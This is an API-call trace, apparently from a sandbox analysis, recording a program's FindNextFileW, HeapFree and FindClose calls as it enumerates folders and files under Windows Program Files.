	[0180.064] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12eb00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0180.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.066] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0180.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.066] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0180.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.069] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0180.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.070] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe6d50060, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d50060, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0180.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.071] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d2a046, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d2a046, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0180.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.077] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0180.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.077] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0
	[0180.077] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0180.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.077] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe6d7642f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d7642f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1
	[0180.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.080] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1
	[0180.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.080] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6bac9b9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6bac9b9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0180.082] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.082] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0180.083] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.083] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0180.083] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0180.083] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.083] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0180.083] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0180.083] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.085] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0180.085] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0180.085] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.085] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0180.088] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.088] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a627cb, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0180.089] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.089] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c4a1e8c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6c4c7f7a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0180.089] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.089] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a8888e, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0180.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.092] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0180.092] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.092] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0180.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.093] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a8888e, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0180.093] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0180.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.093] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0180.093] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0180.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.094] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0180.094] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0180.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.094] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0180.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.097] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa686fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa686fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa686fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0180.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.097] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1
	[0180.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.097] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc4b15df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0180.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.100] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0180.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.100] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xe6d7642f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d7642f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0180.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.251] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0180.251] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.251] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd833fdc0, ftCreationTime.dwHighDateTime=0x1d59c8f, ftLastAccessTime.dwLowDateTime=0x98edcdb0, ftLastAccessTime.dwHighDateTime=0x1d5b235, ftLastWriteTime.dwLowDateTime=0x98edcdb0, ftLastWriteTime.dwHighDateTime=0x1d5b235, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1
	[0180.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.258] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xab521500, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0180.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.259] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0180.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.259] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54653b80, ftCreationTime.dwHighDateTime=0x1d5acbb, ftLastAccessTime.dwLowDateTime=0x7105fec0, ftLastAccessTime.dwHighDateTime=0x1d5ad68, ftLastWriteTime.dwLowDateTime=0x7105fec0, ftLastWriteTime.dwHighDateTime=0x1d5ad68, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1
	[0180.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.260] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0180.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.260] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d9c717, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d9c717, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0180.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
